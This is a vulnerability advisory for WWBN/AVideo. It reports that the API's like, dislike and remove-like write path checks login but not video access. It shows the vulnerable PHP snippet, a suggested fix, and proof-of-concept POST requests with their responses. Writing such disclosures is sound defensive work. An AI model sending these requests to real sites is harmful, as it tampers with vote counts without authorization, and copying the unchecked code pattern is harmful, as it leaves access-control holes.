Summary

plugin/API/API.php API::like() (used by set_api_like, set_api_dislike, set_api_removelike) requires User::isLogged(), then new Like($like, $videos_id). It does not call User::canWatchVideo(). The watch page for the same ids is a password form or a login redirect.

This is not GHSA-5jgf-mc35-5wg5 (objects/like.json.php). That advisory parked guest APIName=likes read. This is the unused set.json.php write path.

Details

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N (4.3 Medium). CWE-862.

// plugin/API/API.php:4288-4300 private like()
if (!User::isLogged()) {
    return new ApiObject("User must be logged");
}
new Like($like, $parameters['videos_id']);

Call User::canWatchVideo($videos_id) after login.

PoC

bob is logged in and is not in the video's user group. Video 1 is alice password VOD. Video 4 is alice group-only. Replace TARGET with $global['webSiteRootURL'].

POST /plugin/API/set.json.php?APIName=like&videos_id=1
Cookie: bob
Referer: http://TARGET/

HTTP 200 error:false.

POST /plugin/API/set.json.php?APIName=like&videos_id=4
Cookie: bob
Referer: http://TARGET/

HTTP 200 likes incremented, myVote:1.

POST /plugin/API/set.json.php?APIName=dislike&videos_id=1
Cookie: bob
Referer: http://TARGET/

HTTP 200 dislikes incremented.

Negative control: guest GET /video/1 is Confirm Password. Guest GET /video/4 is 302.

Impact

Any logged-in user mutates like and dislike counters on videos they cannot watch.

Affected Versions

WWBN/AVideo at commit c3edcc274c389816d434acadac07ee78eaf330c1 and earlier master.

Fixed Version

Unfixed at time of reporting. Commit c3edcc274c389816d434acadac07ee78eaf330c1.